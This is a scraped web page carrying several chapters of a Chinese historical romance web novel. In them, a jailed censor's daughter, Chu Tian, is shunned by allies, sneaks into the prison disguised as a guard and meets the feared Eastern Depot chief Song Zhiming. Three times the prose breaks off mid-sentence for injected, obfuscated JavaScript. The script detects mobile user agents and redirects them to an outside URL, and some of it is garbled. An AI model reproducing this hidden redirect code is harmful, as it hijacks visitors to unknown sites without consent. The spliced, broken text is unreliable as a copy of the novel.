当真是翻脸比翻书还要快。 想到此，冬至心里竟有些莫名的庆幸，好在小姐还没有嫁进去，若真是嫁过来了，这样只能同甘却不能共苦的婆家以后能给小姐好脸色看吗？ “这外头实在是太冷了，”冬至虽然心里不忿，还是恳求道，“劳烦您再进去通传一声吧。” 她目光所及之处，小姐原本根根如葱白般细嫩的指尖已经隐隐泛起青紫，再这么等下去，总会把身子给冻坏的。 老管家看着这犟得如出一辙的主仆俩，心底也有些动容。 可惜谢尚书下了命令，他一个拿月银的下人说的话又有什么分量呢，哪怕他再进去数次，结果都是一样的。 谢尚书摆明了不想接过这个麻烦事，毕竟，御史大人得罪的那位大人物放眼整个上京，也没有几个愿意表明是明确的敌对阵营的。 楚御史弹劾谁不好，偏要去惹不好惹的那位。 宋知明这人谁不知道，睚眦必报，敢惹他的人有几个有好下场？ 瑟瑟的冷风中，紧闭的朱门纹丝不动，唯有丝丝呼吸出的白气伴随着沉珂的心一寸一寸地冷了下去。 “我们走吧。”楚湉转过身去，不再看向尚书府。 天边的斜阳拉长了楚湉的影子，冬至跟上她的步伐，在冬至看来，小姐的背影虽然略显寂寥，脚步却依旧坚定，仿佛站了那么久也不没有折损她的精气神，依旧还是往日里那个矜贵自重的小姐。 可冬至并未看到的是，楚湉转过身时，她匆匆举手拭过的眼角一滴晶莹泪珠。 回府的路上，楚湉并未乘坐来时的马车。 若是坐马车自然是快得很，一盏茶的功夫便到了，可楚湉不知该如何把无功折返的消息告诉给等在家中的母亲和妹妹，更害怕看到她们哭红的泪眼。 不过的短短三日光阴，往日充斥着欢声笑语的家里，此刻便只剩下女人们无助的叹息和哭泣声了。 在楚湉前十七年安稳的日子里，从未遇到过这样大的风浪，也从未憎恶过一个人——那人就是害父亲被抓进去的始作俑者，宋知明。 楚湉不知道，在离她不远处的轿子里，此刻正坐着让她恨得咬牙切齿的人。 朱红色的轿子被人四平八稳地架起来，轿帘随着轿子的晃动也轻轻摇摆。 轿子里宋知明正倚在轿厢内假寐。 他修长的手指随意地搭在额上，身姿优雅地靠坐着，单单是一言不发，周遭便散发着一种与生俱来的天潢贵胄般的气质。 葛术守在轿子外的一侧，时刻盯着过路人的动静，唯恐有不知趣的人扰了提督大人的安宁。跟在宋知明身边久了，他最是明白，宋知明最讨厌别人扰他清净。 比如三日之前，刑部有人打着东厂的名义把往日里最爱同提督作对的楚御史抓进了大理寺，事后便迫不及待来邀功。刑部的左侍郎喋喋不休了好一阵子，不过是想做个顺水人情，求着提督顾念他的好替他在陛下面前美言几句，以求官路亨达。 若是放在往日，提督或者还会给他几分面子，那日也不知是被唠叨烦了还是怎地，直接让人将四品的侍郎大人给轰了出去，一丝情面也不留。 堂堂可代行刑部尚书之权的侍郎大人竟然被扫地出门，说来也是可笑，这人竟屁都不敢多放一个、有半句怨言。 正这么想着，葛术的视线突然顿住，落在二三十步之遥的楚湉身上。 像她这样容貌倾城的女子，见过一面自然是难忘的，然而让葛术疑惑的是，那日谢家三公子如此精心呵护着的明珠怎么面色如此灰败地从尚书府里出来？ 也不知是发生了什么，她本来气色极佳的一张小脸这时却毫无血色，瞧着还有些失魂落魄。 不过葛术也只是思绪短暂停留了一瞬，顷刻间便小声禀告道：“大人，尚书府快到了。” 闻言，宋知明缓缓睁开了双眸。 抬轿子的人也放缓了步子，避免因为到时候停下的动作太大，使轿子里的人踉跄了身形。 楚湉看着那顶朱红色的轿子离自己越来越近，好似也是要去尚书府的，便驻足等待，想要看看尚书府的那些人到底会不会开门。 明明从没有见过相识的哪家抬着这样轿子出门，不知为何，楚湉竟生出一种在哪里见过的感觉。 她思索的间隙，这台轿子和楚湉擦肩而过。 几人交错的瞬间，有一股风恰好微微吹起，带来一阵冷冽的寒意与一股淡淡的香味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647870|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楚湉曾于闺阁之中学过调香，很快识出这似乎是甘松混杂着龙涎香的气息，却少了些这种名贵的香的通病——浓郁非凡，反而是既清幽又淡雅，想来里头坐着的人身份和品味必然不俗。 只是其中还有一抹混杂的气味，楚湉却没有闻出来。它带着淡淡的余温，有点像是铁锈味儿，只是说不清又道不明。 轿子已然停下，里面的人的真面目很快便能显露出来。 楚湉为了避免自己的打探太过于显眼，莲步轻移将大半个身子都藏在了路旁的大树枝干之后，静静地等着。 旁边的侍从已经掀开轿帘，从楚湉站着的角度望过去，只堪堪看到里头那人的足尖，其余的都被轿子给遮住了。那人脚踩黑靴，看着并不显眼，细看却能看到编织于其中的金线闪着耀目的光泽，散发着淡淡的光晕。 管家的反应楚湉却看得十分真切。 老管家的表情似乎是有些意外，见到来者何人时下意识睁大了眼睛，原本的笑意也僵在了嘴角，看着颇有些不自然。但很快，这丝异样就被他掩饰过去，只见他顷刻间堆满了大大的笑脸，躬着身引着人往里走。 冬至也把管家前后判若两人的神态尽收眼底，好奇道：“这是谁来了啊？” 楚湉继续等，终于看到了大门敞开来，随即那男子的背影也跃入眼帘。 楚湉有些愣神，定定地盯着那名男子进去的路线。那人看着身量体形都是年轻男人，楚湉脑子里对应不出这号人物，应当是她不认识的。 而瞧着管家如此殷勤的态度，必定是贵客来访。 她前一刻还在欺骗着自己也许谢叔叔或许真的外出了，现在却不得不承认了，原来这门并不是因为主人不在而不为她打开，只是不欢迎她罢了。 一阵失落涌上楚湉心头，那双原本明亮的眼睛也好似蒙了灰尘般黯淡下来。 “实在是太过分了，谢家真是欺人太甚，什么尚书并不在府里，不过都是他们的说辞！”冬至站在楚湉身边气哼哼道。冬至憋了一肚子的气，音量不免放大。 楚湉匆忙去捂她的嘴，并不想被人听到这些。 被人拒之门外已经足够丢脸，她不想此刻的狼狈模样被人再发现。 楚湉攥紧了手上的帕子：“好了，我们回去。” 等到门口几人的身影消失，楚湉从树后默默站了出来。冬至的眼里满是心疼，就连拍打小姐衣裙之上沾染的灰尘的动作都放得极轻，唯恐再让她难过。 楚湉垂首看着，抿紧了唇，一言不发。 就在这时，一阵轻轻的脚步声传来，打破了这短暂的沉寂。那脚步声很轻，却又显得格外清晰，仿佛每一步都踩在她的心上。 不多时她前方便立着一个人，他嵌着金丝的靴子跃入楚湉的视线。楚湉尚未抬头便认出来，是方才进了谢府的那个男人。 他身上的气息隔着极近的距离随着楚湉的呼吸，沁入楚湉的肺腑之中，远闻还觉得淡雅，近处却一股带着不容抗拒的力度。 这缕气味十分蛮横地闯入她的世界当中，随着他周身散发的气场一起，使得空气极具压迫感。 楚湉眼底闪过一丝警觉，她抬起头来，看向他。 宋知明抱手而立，眼眸幽深。 他的乌黑瞳仁中正好映出她倒影。 一股无名凉意猛地在楚湉身上窜起。 5. 第 5 章 楚湉抬起头的刹那，便已经认出了他是谁。她只觉脑中有根弦刹那间绷紧，贝齿忍不住咬紧了下唇，唇间传来的痛意让她分外清醒。 这不是幻觉，她恨得咬牙切齿的人此刻就好生生地站在她跟前，更气人的是，她竟拿他毫无办法。 葛术皱眉看着一言不发的楚湉，紧跟着质问道：“你们为何鬼鬼祟祟地藏在这里？是想要做什么？” 显然，两人的行踪已经引起了他们的注意，枉费楚湉还自以为没被发现，其实早已有人把她们的一举一动尽收眼底。 楚湉知晓此时自己势单力薄，若真是与这伙人硬碰硬，吃亏的一定是她们。她努力克制着内心汹涌的恨意，强迫自己冷静下来思考。 他们既然这么问她，现在应当是并不清楚她的真实身份的。当务之急，应该是赶紧从宋知明的眼皮子底下离开，救父亲的事情还需从长计议。她不能因为逞一时意气而去以卵击石。 于是她敛下眼底的情绪，抬起头来：“大人说的话，我怎么听不太懂？这么宽的道上，何来藏字的说法？” 她的意思不言而喻，东厂的人既觉得她们形迹可疑，总得拿出证据来。 这是葛术第二次见楚湉，却也不免让他对眼前的女子刮目相看。旁人见到东厂的人谁不是被吓破了胆，何况是一个弱女子站在提督面前，竟也有这样的胆量，非但丝毫没有乱了阵脚，反而是有理有据。 但葛术岂会就这么轻易罢休，方才他分明听到这边有声音，虽未听清说了什么，总归是不好的话，不然这么何必这么遮遮掩掩。 这件事可大可小，毕竟就凭眼前两个女子能掀起什么风浪呢？眼下就看，提督大人要不要追究了。 然而宋知明却未直接回答楚湉的问题，反倒是对比起葛术的正颜厉色，他好像并没有打算追究下去。 “让她们走吧。” 他的声音不疾不徐，配上他那副容貌，很容易让人错认为他是一名翩翩君子，但楚湉曾见过他眼也不眨杀人的场景，自然不会被蒙骗。 她深知，宋知明这副好皮囊之下，实则是恶鬼的灵魂。 楚湉福了福身子，转身拉着冬至离开。她步履匆匆，很快只留下个背影。 “宋大人，”老管家本将人引至偏厅等候，此时已经禀告了谢尚书回来，回头人却突然不见了，等他找出来才发现踪影，“我家大人请您过去，您随我走吧。” …… 宋知明被引着到了谢府的正厅，谢致坐于雕花木椅中央，宋知明到的时候，他正在品着茶香。 见到宋知明，谢尚忙放下杯子站起来。 “提督今日大驾光临，真是寒舍之幸。刚好老夫新得了些好茶，提督不如一起过来品鉴一下这茶到底如何？” 宋知明接过旁边侍女递上的建盏，一眼便认出这是去年皇帝赏赐的贡品。 他微微闻了闻，薄唇轻抿：“确是不错。” 虽然嘴上说着不错，宋知明却没有亲自尝尝的意思，“谢尚书请我过来，应当不是单单为了请我喝茶吧，有事便直说吧。” 官场上打交道，谁不是维系着表面的客套礼仪，但宋知明此人，向来都懒得应付，他今日过来都在谢致的意料之外。 谢致被人奉承惯了，宋知明如此直白的反应让他一张老脸险些下不来台，但他还是淡然地笑笑：“宋提督不愧是陛下面前的红人，当真是明察秋毫。” “陛下此次闭关已有几日，不知提督可知道陛下何时归朝？还有，朝中关于立储之事……” “谢大人，”宋知明打断他的话，“你请我来，就是为了说这个的？陛下的心意，岂是我等能妄自揣测的，谢大人大可不必大费周章从我这里打探这些，就算我这儿知道什么，断然、”他状若无意的瞥了谢尚一眼，余下的话仿佛尽在不言之中。 谢致这样久经官场的老狐狸，何曾被人这么回怼过，宋知明显然是耐心耗尽，装都不想再装了。他怎么也没想到宋知明如此不给他面子，脸色瞬间变得铁青。 谢致平日里的威风让他的脾气想要发作，却在宋知明面前，也只能强忍下来，他强忍着满腔的怒火，努力挤出一点笑：“是我失言了，提督见谅。” 宋知明如今正得陛下宠信，就连陛下闭关期间也只召见了他。若不是如此，谢致断然咽不下这口气。 “谢大人还有别的要说的吗？”宋知明手搭在桌案之上，屈起手指边把弄着建盏，边气定神闲说道。 谢致咬着牙，他还能再说什么？宋知明表面功夫都不愿意做，他难道还指望从这人嘴里打探出什么来吗？ 宋知明等了半刻，终于慢悠悠起身，嘴角突然浮现出一抹笑意：“楚大人不是谢大人的姻亲吗，怎么他入狱之后，谢大人竟像个没事人一般。” “这……”谢致短暂沉默了一瞬，随后答道，“宋大人莫听别人乱嚼舌根，我与楚大人不过是同僚之情，若是他犯错，自然有陛下判明，我，自然是遵循朝廷的意思。” 宋知明的目光淡淡从谢致脸上扫过，不予置否地点点头。他不欲再待下去，抬步欲走。 他还未到门口，早有谢府的下人掀开了门帘，屋内的暖意同外头的冷风撞了个满怀，刹那间，寒气便遍布了宋知明一身。 谢致若有所思地盯着他的背影，吩咐道：“管家，送送宋大人出去。” 宋知明并未回头，只略微摆了摆手：“不必了，这路我识得。” 葛术见人出来，忙将大氅披到了宋知明身上。 “大人，查明白了，谢家三公子那日带着的女眷的身份。” 宋知明侧头，眼眸瞟了葛术一眼。 葛术察觉到他的目光，身子猛地一挺，提督并未吩咐他做这事，他这样是不是有些僭越了，但他不知为何却觉得，提督应该是愿意继续听下去的。 果不其然，宋知明并未阻止。 于是葛术才继续道：“并非是谢家的人，是楚御史的两个女儿。” 说罢，葛术偷偷抬眼看宋知明的反应。 宋知明听闻此言，微微抬眸，眼眸中是惯有的波澜不惊，和平日里别无二致，他的语气不咸不淡地回道：“嗯，东厂最近这么闲吗，有这心思，不如多替我审几个嫌犯。” 葛术忙低下头来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647871|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声应了“是”。 也是，提督这样不近风月的人，怎么会对一个女人感兴趣呢？他真是不知死活敢说这些。 …… 风里夹杂着些许湿润的气息，比起前几日，上京城里骤然像是降了温，楚湉回家的路上经过护城河时，河面已经起了薄薄一层冰。 “这两日或有一场大雪将至，父亲往年冬日常咳嗽，也不知父亲在狱中能不能吃饱穿暖？”楚湉望着街上热闹的人群，心中愈发凄凉。 所有人都不愿意帮她，她还能去找谁相助呢?若是能见父亲一面就好了，父亲肯定能为她指明方向，而不是让她现在像热锅上的蚂蚁一样，急得团团转却毫无办法。 对！她应该设法去见见父亲！ 楚湉眼中一亮，即使退一万步，并不能救父亲出来，若是能想法子送点衣服和药进去也是好的。 可是固若金汤、守卫森严的大理寺，她又该如何进去呢？ 这想法刚冒头便被楚湉怀疑，但她又不得不觉得有些庆幸，幸而父亲是在大理寺，而不是在宋知明手下的东厂，若真是进了东厂，那才是毫无办法。 上京城里谁不知道，进了东厂的人有几个能够全乎地出来的？ 楚湉不再寄希望于任何人，她竟然十分平静地接受了眼前的现实，开始思索着怎么凭借自己的力量去救父亲。 “杀年猪嘞，大家走过路过不要错过，新鲜又美味！” 街头的肉铺里，有屠夫正卖力地吆喝着，只见身材魁梧的汉子拿起一块硕大的猪肉摔在案板上：“热腾腾现杀的猪，膘肥体壮哟……” 周围很快围了一圈人，冬至前一刻刚被楚湉叫去为母亲排糕点去了，眼下她独自一人等在路旁。 争抢着买肉的人群熙熙攘攘，十分嘈杂。 伴随而来的，是一股浓烈的血腥味，楚湉忍不住蹙眉，这股味道忍不住让她想起那日目睹东厂杀人的场景。 她的胃里一阵翻江倒海，身子开始不受控制地微微颤抖起来，喉咙处似有暖流上涌。尽管她极力忍耐着，可那股恶心的感觉却越来越强烈。 终于，楚湉再也忍不住了，捂着嘴转身快步走到一旁的墙角处，弯下腰剧烈地呕吐起来。那痛苦的模样，仿佛要把五脏六腑都吐出来一般，豆大的汗珠从她光洁的额头滚落，沾湿了额前的几缕发丝。 发出的动静惊起旁边树枝上的几只麻雀，它们扑棱棱地拍打着翅膀逃窜走了。原本叽叽喳喳的声音戛然而止，只留下一地枯萎的落叶。 这厢宋知明意兴阑珊地从尚书府刚出来，他挥手让手下的人别跟着，自己一个人走在路上。 冬日的街景总是萧瑟，但人不算少。 有些人认出了他，大气都不敢出，匆匆便没了人影。略微胆大一点的，也纷纷避让。 宋知明毫不在意，继续向前。 有风吹过，落叶打着旋儿缓缓飞起来，那些枯黄干瘪的叶子仿佛用尽了最后一丝气力随风摇曳，瞧着却毫无生气。 忽地他目光越过众人，定格在一处。 雪白的氅，纯洁无暇。 倒是扎眼。 6. 第 6 章 归家之时，楚湉一眼便看到沈嬷嬷候在门口。 沈嬷嬷瞧见她，急步迎上前：“这么冷的天，姑娘怎么自己怎么走回来了，是不是冻坏了？” 她说着便要叫下人去准备热水，楚湉把冬至买来的糕点递给沈嬷嬷，虽然满怀心事，却也不愿她们也跟着忧心，于是漾起嘴角，掩饰住眼里的黯然，笑着回道：“我没事，不冷的。” “母亲今日可好些了？午膳用的可比昨日多些？” “瞧瞧这手都凉透了，”沈嬷嬷一脸心疼地搓着楚湉冻僵的手，“夫人那姑娘自不用操心，我会好生照料着，幸好今日她总算是愿意喝点米粥了，不然这身子哪受得住呢。” “姑娘你也听话些，照顾好自己的身子，等会我煮壶姜汤送过去，姑娘乖乖地都喝了。” “好嬷嬷，我知道了。”楚湉点头，感受着指尖的暖意。 家中没了主心骨，她还有母亲和妹妹要照料，这时候，她千万不能再倒下。 “不过，今日二房的人来了，大闹了一场，我看他们那意思，怕是想要分家产。”沈嬷嬷往地上淬了口唾沫，气愤地骂道，“真是人心隔肚皮，老爷在的时候，可没少贴补他们。现在有事了，这群白眼狼不想着帮忙也就罢了，居然这么不要脸。” 沈嬷嬷又叹道，“若是老爷还在府里，他们哪敢如此造次。” 原来是当年分家之时，家中的房产财务早就已经做了分割，目前楚湉一家所住的主宅归楚正业所有，而作为补偿，楚正业主动花了一笔不小的财产给自己的二弟添置了新的宅子。 现在楚湉的二叔一家却不认账了，矢口否认了一切，还埋怨起当年的不公正，嚷嚷着要重新分配。 楚湉显然没料到二叔他们居然能做到这个地步，她又想到谢家将她拒之门外，眉头紧皱起来。 天下攘攘，皆为利往。 往昔种种美好的记忆从她脑海里闪过，可惜已经是物是人非。 楚湉更加坚定了心中的想法，事到如今，她只能靠自己。 接下来的这两日，楚湉并未外出，她暗地里令人去打听大理寺的情况，又使了好些银子，终于皇天不负有心人，被她找到了机会。 冬至目露忧色看着眼前正做狱卒装扮的小姐，声音颤抖：“小姐真要做到这一步吗？” “不如我替小姐进去吧，我一定好好传达小姐的话，把那些御冬的衣服和药都带进去，定不会让小姐失望的。” 楚湉整理衣襟的手僵住，伸出手臂捏了捏冬至的脸颊肉，打趣道：“真的？若是你进了狱中被吓到哭鼻子，那可怎么办才好。” 明明是玩笑话，冬至的眼睛却红了一片：“小姐，我不会的……” “好了，帮我系好衣服，别误了时辰。” 她的声音轻快，努力不让冬至这个傻丫头看出来端倪。 大理寺卿那儿楚湉费了好大力气都没有办法打点关系，也是走投无路之下她才有了买通狱卒的下策，若被发现可是大罪，怎么能让冬至替她去冒这个险。 不多时，楚湉已经换装完毕，穿上一身深灰色粗衣，长发被她束起，盘在了黑色方巾之下，看着浑然是个清秀的小狱卒。 日头渐渐西斜，慢慢的天地沉浸在一片朦胧的暮色当中。 事情比预想的还要顺利，接应的狱卒拿到银子之后只瞅了楚湉一眼，便轻车熟路的领着她往里走。 楚湉跟在他身后，屏住了呼吸。她心里头就跟揣了只兔子一般，第一次来到大牢，她的心脏忍不住扑通扑通跳个不停。 眼下正到了狱卒换值的时候，前一个值白班的人见他们来了，打了个绵长的哈欠：“今日来得倒是早，哟，这是不是新来的小哥，怎么长得同个女人似的细皮嫩肉？” 他一眼便瞧见了楚湉，此刻眼也不眨地盯着她瞧，仿佛是在印证心中所想。 楚湉心中猛地一紧，面上却并未表现出来，只好露出一副无奈的模样，像男子一般拱手，又故作低沉的腔调：“叫您见笑了，我从小体弱，爹娘不让我出门，现在寻了个这个活计讨口饭吃。” 她又从袖子里掏出一两早就准备好的银子：“这个给您买酒吃，以后还承蒙多多关照。” 张四显然没想到这个新人居然这么上道，他白白得了一两银子心里美滋滋的，当下便不再计较，还拍了拍楚湉的肩膀：“好说好说，以后你就是我兄弟，哥哥罩着你。” 待他走后，领楚湉进来的人递给她一把钥匙，对着她道：“你倒是个聪明的，记住，只有一柱香的时间务必带着钥匙回来。我还有其他事要办，就不带你去了。你走过前面的长廊，在路的尽头右拐就是。” 楚湉顺着他指的方向看过去，前面是一间间大门紧锁的牢房，此刻正有人往他们这边张望。 楚湉接过钥匙，不再耽搁时间，抬步便出发。 狭长的廊道里只零星点着几盏烛火，昏黄的光映照在她的脸上，明明灭灭。楚湉瘦弱的影子被拉长，投在斑驳墙上一片黑。 “滴答滴答，”不知哪来的水声，从高处坠到地上，在这寂静的牢里被无限放大，一声一声敲击着耳膜。 匆匆几步，无比漫长。 越往里走，便越觉得阴暗潮湿，还混杂着股腐臭发烂的味道，楚湉握紧了肩上背着的布包，竭力忍住身子的不适继续前进。 忽然一声巨响吸引住她的注意力。 “砰砰砰！” 有一名蓬头垢面的犯人，如饿狼扑食一般，不管不顾地冲着楚湉冲过来，他双手奋力拍打着栏杆，震得哐哐响。 楚湉被他突如其来的动作吓得一跳，下意识往后退了好几步，她脚下一个踉跄，险些摔倒在地上。再一看，这人脸上满是血污的痕迹，头发如杂乱的蓬草般披在肩上。 更瘆人的是，他直勾勾地盯着楚湉，竟莫名其妙绽放出一抹笑。 他的嘴唇微微颤抖着，像是在压抑着某种兴奋。那双手又朝楚湉伸了过来，想要去抓她的脚。 久居闺阁的楚湉何曾见过这样的景象，顿时吓得脸色煞白，全身的汗毛都竖了起来。她下意识地用手捂住嘴巴，生怕自己会惊叫出声，随后二话不说，转身就跑。 任由后面那个犯人发出怎么的嘶吼，楚湉都不再回头看一眼，反倒是心中愈发急切，怕这人的动静引来别人，浪费掉她这么多努力。 终于，她看到了熟悉的身影。 楚正业神情落寞地倚在墙壁上，短短几日不见，原本乌黑的头发不知何时冒出许多花白的发丝，人看着也消瘦了不少。 不过好在，楚湉没在他身上看到明显的外伤。 “父亲！”她的声音带着一丝哽咽，忍了许久的眼眶瞬间泛红，泪水在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647872|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眶里打转，却又努力不敢它们落下，生怕这一哭会让别人察觉。她快步拧开了锁，走到楚正业的身边，缓缓蹲下身子，伸出颤抖的双手，“女儿终于找到您了，您受苦了……” 楚正业闻声抬起头，听到女儿的声音他浑浊的眼眸中闪过一丝惊愕：“阿湉，你怎么会来这里？” 他一把拉住楚湉的胳膊，放低了声音，“怎么能这般胡闹，若是被别人发现了可怎么办？” “您放心，女儿都想到了这些，不必担心。”楚湉眼含热泪。 楚正业往外张望了一圈，确保外头没有别人之后，心中的不安才堪堪消散了些许，但还是责怪道：“这里哪是你该来的地方！你就不该来这里！” 楚湉把一路背了许久的包裹递给他，知道时间紧张，父女俩并没有多久的时间用来叙旧，何况外头刚才那个犯人短暂安静了一阵子之后，竟又开始闹出声音来。 “父亲，你别怪我，我来这里实在是没有办法的事，”楚湉张了张唇，想要把近些日子发生的一切都告诉他，却又害怕父亲担心，一时间有些踌躇。 “父亲能否为我指条明路，我该如何做才能救您出去？” “这……不是你一个女子该考虑的事情，你听话，在家中乖乖地等着……” 楚正业还想再说些什么叮嘱她，领楚湉进来的狱卒却是先一步到了门口，着急道：“情况有变，没时间了，快跟我走！” 他行色匆匆，仿佛是发生了什么大事。 楚湉无奈地看向父亲，心中有百般不舍。 好不容易见一面又要分别，也不知是生离还是死别，一向刚毅的楚正业眼里也不禁闪现出泪花：“阿湉，你是长女，照顾好家里。哪怕我回不去了，你们也要好好活着。” 他话音还未落下，楚湉就被狱卒扯着往外走，她的心就像是被刀剜了一般，痛得无法呼吸。 大牢深处燃烧的烛光猛地一窜，炸出噼里啪啦的声响，有火星子四处飞溅开，却又很快化成陨落的黑点消失不见。 楚湉匆匆拭去眼里的泪，随着狱卒一起走到了廊道上。 外面不知何时点起了无数火把，橙红的火舌止不住地跳跃。回去的路比来时亮了许多，细听还能听到有人说话的声音，像是什么人过来了。 紧跟其后的，是一声赛过一声凄厉的惨叫声。 那声音尖锐地撞击在冰冷的墙壁之上，每一个破碎的音节都好似从喉咙里撕扯出来的。 ——长长的、拖曳着，划破了夜幕，在整座大牢的顶上盘旋回荡。 楚湉背后的衣衫被冷汗浸湿，贴在她的背脊之上，黏糊糊地泛着潮气、寒意顺着她的脊梁骨往上爬。 可是她却顾不上这些，因为沉闷的空气当中悄然涌上一股刺鼻的血腥味。 那惨叫声却渐渐地弱了下来，有气无力的呻吟声好似在低低的哭泣，衬得周遭愈发针落可闻。 一步两步，楚湉能清晰地察觉到，她离那股味道越来越近，而那骇人的一切离她并不远。她的双手不自觉紧紧地揪住自己的衣角，指尖因过于用力而泛着白。 更要命的是。她闻到了一股熟悉的香味。 甘松丝丝缕缕的木质香调，在这幽闭的大牢里格格不入。 想到她认识的用这香的人。 楚湉忍不住瑟缩着狠狠打了个寒颤。 7. 第 7 章 明晃晃的光亮下，就连一丁点灰尘都无处遁形。 狱卒扭过头看了楚湉一眼。 “待会你千万别露馅，不然我俩的小命可就都难保了。”狱卒牙关都打着颤，明明努力压低了声音，却难掩其中的紧张。 楚湉眼睁睁瞧着他的额头在这么冷的地牢里生生沁出一脑门热汗，心里不好的预感更加强烈。她重重地点了点头，随着他加快了脚步。 狱卒似乎是为了躲那一伙突然过来的人，领着楚湉走了另外的道。 这条路看着并不常用，更像是暗道。脚下的地面湿漉漉的，不知是污水还是别的什么秽物粘连在地上，楚湉却顾不上许多，一昧机械地大步迈着步子，只想要把那些悚人的声音和讨厌的味道甩在身后。 不多时，她的裤腿和鞋面便浸了泥水，变得脏兮兮的。 又拐了一个弯，推开暗门之后，回到最开始进来的地方。 距离出口近在咫尺，透过牢门的缝隙，冬日的阳光斜斜地洒进来。金黄的灿烂的光，细碎而又柔和。光线所到之处，仿佛带着蓬勃的暖意，把冷冰冰的石板地面都染成了发光的绸缎。 快出去！楚湉脑海中这个念头无比强烈，她从未这么渴望过日光。 明明只要再一步，楚湉甚至稍稍伸手便能触摸到。 “站住，” 就在这时，有人从身后叫住了他们。 那粗犷的声音在这寂静的廊道里犹如炸雷一般，惊得楚湉浑身一颤。她的心瞬间提到了嗓子眼儿，紧张得心跳陡然加快，仿佛要冲破胸膛一般。 “矮个的那个，还不给我站住！”一个魁梧的人影瞬间挡在了楚湉跟前。 楚湉脚步一顿，暗道不好。 男人的一只大手揪住她的衣领，稍稍用力，她就像个小鸡仔一样被提溜起来，双脚都快要悬空。 “你是不是新来的？怎么从来没见过。”锦庆上下打量了楚湉一番，看他瘦巴巴的跟个竹竿似的，想不到模样还怪标致的，不过他也来过大理寺不少回，怎么从来都没见过这张脸。 锦庆起了疑心。 狱卒扯了扯楚湉的衣袖，连忙拉着她跪下来：“大理寺少卿恕罪，这是新人，笨手笨脚得很。” 楚湉的双膝磕在冰冷的地砖上，薄薄的粗布面料磨着她膝盖的柔嫩肌肤，又冷又硌人。 她紧紧咬着下唇，心中又酸又胀。 外头的阳光离她那么近，却那么远。她只能祈祷狱卒的这副说辞真的能蒙混过关，但是堂堂的大理寺的少卿会这么容易被糊弄过去吗？ …… 锦丰来时便一肚子火无处发作，他今日本来在大理寺审案，不料来了个不速之客，又偏偏大理寺卿不愿意接，推给了他过来陪同。 真是官大一级压死人，他再是百般不情愿，也只能撂下手中的活计，硬着头皮接下来。 可是那小狱卒满脸谨小慎微的模样，显然是被吓破了胆，看着还怪可怜，他忍下怒火咬着牙骂道，“你们这些狗奴才，真是没眼色，又跑到哪里偷懒去了？” “提督大人过来了，还不快泡壶茶过去！”锦丰甩了甩衣袍，倒是把人都叫起来了。 低垂着头的楚湉不动声色地松了口气，原来并没有暴露，只是让她去倒茶。 楚湉心中一轻，有些劫后余生的庆幸。 慢着？ 给谁泡茶？？？ 她脑子嗡地一下。 “还愣着干嘛，难不成还要本官教你泡？”锦庆简直想要动手了，若不是看这小狱卒的单薄身板经不起他一脚，他早就踢了过去。 楚湉毫无办法，硬着头皮接下了这门苦差事。 一步之遥，她明明只差那么一步就能逃脱出去，却跌入了身后的万丈深渊。 楚湉的一口银牙都要咬碎了。 单单是想到要待在宋知明的眼皮子底下呼吸，她都觉得生不如死，何况还要伺候他，稍不留神便会沦落到万劫不复的境地。 楚湉只恨自己没有带包毒药在身上，那她定会倒进眼前的茶水里面。大不了同归于尽，也好过她自己现在单方面凑上去送死。 碧螺春的茶叶嫩绿，在滚烫的沸水冲泡下舒展着芽尖尖，不一会儿茶汤就染成了淡淡的碧绿色。在这等荒凉的大牢里竟能备上这般好的茶叶，大理寺的人也真是煞费了苦心。明明大理寺并非是东厂的地盘，宋知明为何此时会过来，楚湉有些困惑。 不过这显然不是她现在该关心的事情，此时楚湉双手捧着茶盘，刻意放轻了自己的脚步，就连呼吸也不敢大口吸气，想尽力不让人察觉到她的存在。 墙上插着的火把烧得正旺，“嘶嘶”跳动的火舌向上蹿腾，照得室内亮堂堂，却把所到之处烧成黑漆漆一片。出乎意料的安静，除此之外，再听不到任何别的动静。气氛凝重得仿佛能拧出水来。 楚湉垂着双眸，不敢随意抬眼，生怕一不小心就露馅。 她侥幸骗过了狱卒和大理寺少卿，但……要在宋知明的眼皮子底下不被认出来，她觉得这并不现实…… 好不容易走到人跟前，她小心翼翼压低了嗓子，微微屈膝：“大人，请喝茶。” 宋知明端坐于临时挪来的公案之后，扫了她一眼。 并未吭声。 他身子向后靠着椅背，整个人透着一种放松的姿态。骨节分明的手指有一下没一下地敲打着桌案，指尖与桌面触碰发出的“嗒嗒”声不紧不慢，好似在等待什么。 楚湉静静地保持了献茶的姿势许久，也没等来他的吩咐，弯着的腿都要僵了。 她平日里再好的脾气此刻也忍不住想要骂人： 